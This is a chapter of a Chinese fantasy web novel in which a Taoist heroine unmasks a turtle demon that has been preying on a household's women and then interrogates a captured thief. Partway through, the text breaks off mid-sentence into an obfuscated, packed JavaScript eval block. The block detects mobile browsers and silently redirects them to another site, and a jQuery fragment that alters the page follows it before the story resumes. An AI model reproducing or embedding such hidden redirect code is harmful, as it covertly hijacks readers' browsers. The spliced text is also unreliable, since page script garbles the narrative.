“龟壳不比脸皮厚。”——郝璃《狐言狐语》
灯火将亢家的院落照得亮堂堂的,从主人到下人,除了久病卧床的小姐之外都来了。
所有人里三圈外三圈地围着,有大着胆子的伸长了脖子、踮着脚尖往里看,还是亢老爷看不下去呵斥了一句才让众人不敢再往前挤了。
亢老爷和夫人站在最里圈,夫人被亢老爷半护在身后,看着年纪比亢老爷还大些,头发已见花白,神情愤怒中又带着点惧怕。
不光夫人如此,人群中的丫鬟婆子们几乎各个都是这样的表情,倒是小厮护院们眼中好奇的意味更多些。
“这是龟妖。”
郝璃先指指地上的龟壳。
“这是小贼。”
郝璃又指指大约是疼昏过去的小毛贼。
“这是道士......咳咳,在下是修行之人,下山云游路过此地,还有这两位是在下的同伴。”
一黄衫女童靠着一头驴子,圆溜溜的大眼睛一直盯着龟壳。
无怪她如此,同她一样盯着龟壳的人不在少数,好些人都是看看郝璃又看看龟壳,看看小贼又看看龟壳、看看龟壳、看看龟壳......
真是妖怪吗?
长得如此之大的王八,便是成精了也应当吧!
不过只见龟壳不见头爪,会不会是这人装神弄鬼呢......
亢老爷也有此惑,虽然见女道士随手消弭了火灾展现了神通,但江湖骗子不少,或是骗术犹未可知。
于是便问郝璃:“仙姑可是将它打死了?”
“应是没死的,躲在里面装死而已。”
“可否让它出来?”
又补充道:
“仙姑有所不知,我家近日确有怪事发生,家中女眷深受其害,就连我那闺女也......”
言至于此眼睛都憋红了,其身后的夫人更是已经泣不成声。
又有丫鬟婆子们或低头或遮脸或愤怒,不一而足。
郝璃早从缘气中看出异样,只是时下将女子的声誉看得极重,不好直接说出。
但听所言,更印证了心中猜想,祸害女子至此,这老王八的性命今日是绝不可留了!
“我试一试逼它现身,若是手重了或许就直接打死了。不过其身染邪气当是害了不少人的,府中之乱多半就是它做的。”
展开袖子,俶尔掏出朵火苗来,火苗迎风就涨,转瞬间变成一个大火球。
大火球就跟罩子似的,一下子把龟壳罩在里面,神奇的是其热量凝而不发,只烧里面,不损外面。
龟妖方才还叫嚣着你奈我何,需知金钟罩铁布衫尚有罩门,何况有缝隙的龟壳呢!
炽热的火焰顺着缝隙钻进去,缝隙里慢出烟来,龟壳简直像是天然的锅具,将热力牢牢锁在里面,逃都逃不掉!
“好烫好烫!”
“大仙!俺错了大仙!求大仙饶命!求大仙饶命!!!”
龟壳中传出男人的惨叫声,亢家众人皆被吓了一跳!
忽然有个丫鬟指着龟壳叫道:“就是这个声音!我听过这个声音!”
其他的丫鬟婆子好像也回忆起来了,虽然妖怪作乱前往往用法术让她们昏过去,但受害时潜意识抗拒,有时就能听到一些声音。
此时记忆被唤醒,不少女子愤恨难当,也有羞耻难忍掩面而泣的。
有人出言指正,又亲眼所见亲耳所闻,七分怀疑成了九分相信。
“拿刀来!”
亢老爷从护院手中接过刀,他年轻时也是带领乡人跟邻村争过水源的,有些子胆魄在身上。
自从家中遭了乱,他就严令仆人们不准出去乱说,在晚上将门窗都锁紧,男人们拿着刀守在屋外。
但妖怪会法术,总是施法令众人昏睡后才作案,好几个月了都抓不住它。
亢老爷的女儿被祸害得最惨,病得皮包骨头,几乎奄奄一息
这让他怎能不恨!
“劳烦仙师护卫,让老夫能亲手报仇!”
郝璃做了一个请便的手势。
亢老爷在愤怒的驱使下都顾不得火还在烧,幸好郝璃可以控制狐火不至于伤到他。
刀尖从龟壳的缝隙刺入,仿佛是在刺十层厚的牛皮般。
“老货尔敢!”
龟妖都死到临头了,嘴里还不干净。
亢老爷咬紧牙关双手持刀,根根青筋乍起,使出全身的力气奋力一刺!
噗呲!
一注新鲜的王八血滋出,落入火焰瞬间气化成烟!
“啊啊啊啊——”
龟妖的惨叫声渐渐变小,直到再也说不出话来。
当是死透了。
郝璃撤掉火焰,亢老爷命护院将龟妖的壳剥下,里面的肉都有几分熟了,再将龟肉分割成十几块,如此才算解恨。
料理完一桩事,还有一桩呢。
“听了那么久热闹,还装晕么?”
众人的情绪尚在诛杀恶妖之上,听了郝璃的话才回神。
对呀,龟妖是首恶,首恶已死,趴着的这个男人又是怎么回事?
仙师说他是小毛贼,但他有没有可能跟妖怪是一伙的?
护院拿火把去照他的脸,犹豫了片刻说道:“我好像见过他,在哪儿来着?”
那趴着的人眉毛动了下,终于是装不下去了!
“我......我......”
那人起来似乎是要坦白了,忽然一个小厮指着他叫道:“这不是邻村的申书生么,他爹还是读书人呢!”
‘读书人’三个字仿佛是什么刀子般,那人顿时就破防了!
竟然捂着脸呜呜哭起来!
哭得丑极了,眼泪鼻涕落到本就破烂的衣服上,更显落拓。
小厮确实知道他家,解释道:“我姐姐嫁到邻村,我偶尔过去探望她所以认得。他姓申,爹娘死了,原本的田地用于给爹娘置办棺材,又用剩的钱娶了个婆娘,然后家里就穷了。看他穿得这么破烂,可能真是想偷钱的吧。”
“不是我想偷的!”
姓申的忽然怒道:“是我的妻子逼我的!如今我被抓住了,她也该遭受连累!”
郝璃乐了:“她怎么逼你的?是拿刀架在你脖子上了,还是拿刀架在她自己脖子上了?”
申某早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010260|173439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒了,一直装晕而已,惩治龟妖的动静他全都知道,哪会不知这女子是极有本事的,在她面前也不敢瞎吵吵了。
一时语塞,讷讷不能言。
然而郝璃不放过他,追问道:“说说呀,本朝律法胁从犯可从轻或免除罪责,若你真是受胁迫的,在场诸人皆可为你说情。”
“她......”
申某话到嘴边就是说不出来,郝璃看他干张嘴不讲话就帮了他一把。
曲指一弹,一粒小东西便进了申某的嘴,入口即化纵享丝滑。
申某的话也丝滑地秃噜出来。
原来他确实家里穷,穷到都快揭不开锅了,夫妻俩想不出一点办法。
妻子饿到受不了,讲气话让他去偷。
申某自认为读书人的后代,不能光宗耀祖就罢了,怎能败坏门户,就跟妻子吵了起来。
妻子骂他想活着还怕丢脸,如果他不愿意去当强盗,那她就只好去当娼妓了。
申某觉得男人做到这份上真不如死了算了,于是就找根绳子上吊,结果绳子断了没死成。
半死不活的时候好像看到了他爹的鬼魂,他爹劝他好死不如赖活着,可以去做一次强盗,不要做第二次就是了。
妻子发现他倒在地上,旁边还有根断绳,连忙把他扶回去,又各种按揉,终于给他救醒了。还去邻居家借了点米,给他煮稀饭吃,也不再说气话。
但申某死里逃生之后居然变了主意,跑到父亲的好友家里借了一袋粮食让妻子赶快做饭,吃饱喝足后又到处找棍子。
妻子问他要干什么,他说你不是让我去抢劫么,过去我顾忌廉耻不屑于求人,如今都这样了,还顾什么脸面,这就当强盗去,如果被抓了别怪我连累你!
妻子说之前说的都是气话,急忙拉住他,却被他挣脱了。
然后便接雨夜、庄稼地、突发奇想黑吃黑......
众人听完,表情那是一言难尽啊。
郝璃测出真言丹的有效时间大概是五分钟,五分钟对于侃大山而言很短,对于做汇报做演讲而言就挺长了。
吃了真言丹的人必须说真话,但其意识还是清醒的,所以大家就能看到申某越说话脸上的表情就越惊恐。
亢老爷忍不住骂他:“呸!什么读书人的种子,自己就是颗瘪豆子!”
骂的好啊!
顾着面子不去借粮因此挨饿也活该,不想赚钱的正道,为做强盗找借口吧还能推到老婆身上。
既然是读书人家的儿子,肯定是识字的,这年头识字的人多稀罕啊,只要肯放下身段,无论是去富户人家做工,还是进城找活干都有机会。
再不济的,还能受雇给大户人家当小厮长随!
从前朝起雇佣关系就已经发展得不错了,本朝更甚,给人当下人不一定就是卖身的。
这与活不下去只能进山当流匪的穷苦人是不同的,那些人不仅没有田地,很多连户籍身份都没有,更别提识字了。
没有户籍的人是非常受歧视的,受了委屈都不能找官府求助,有时还会被抓捕去当苦力。
与之相比,申某实担不起走投无路四个字。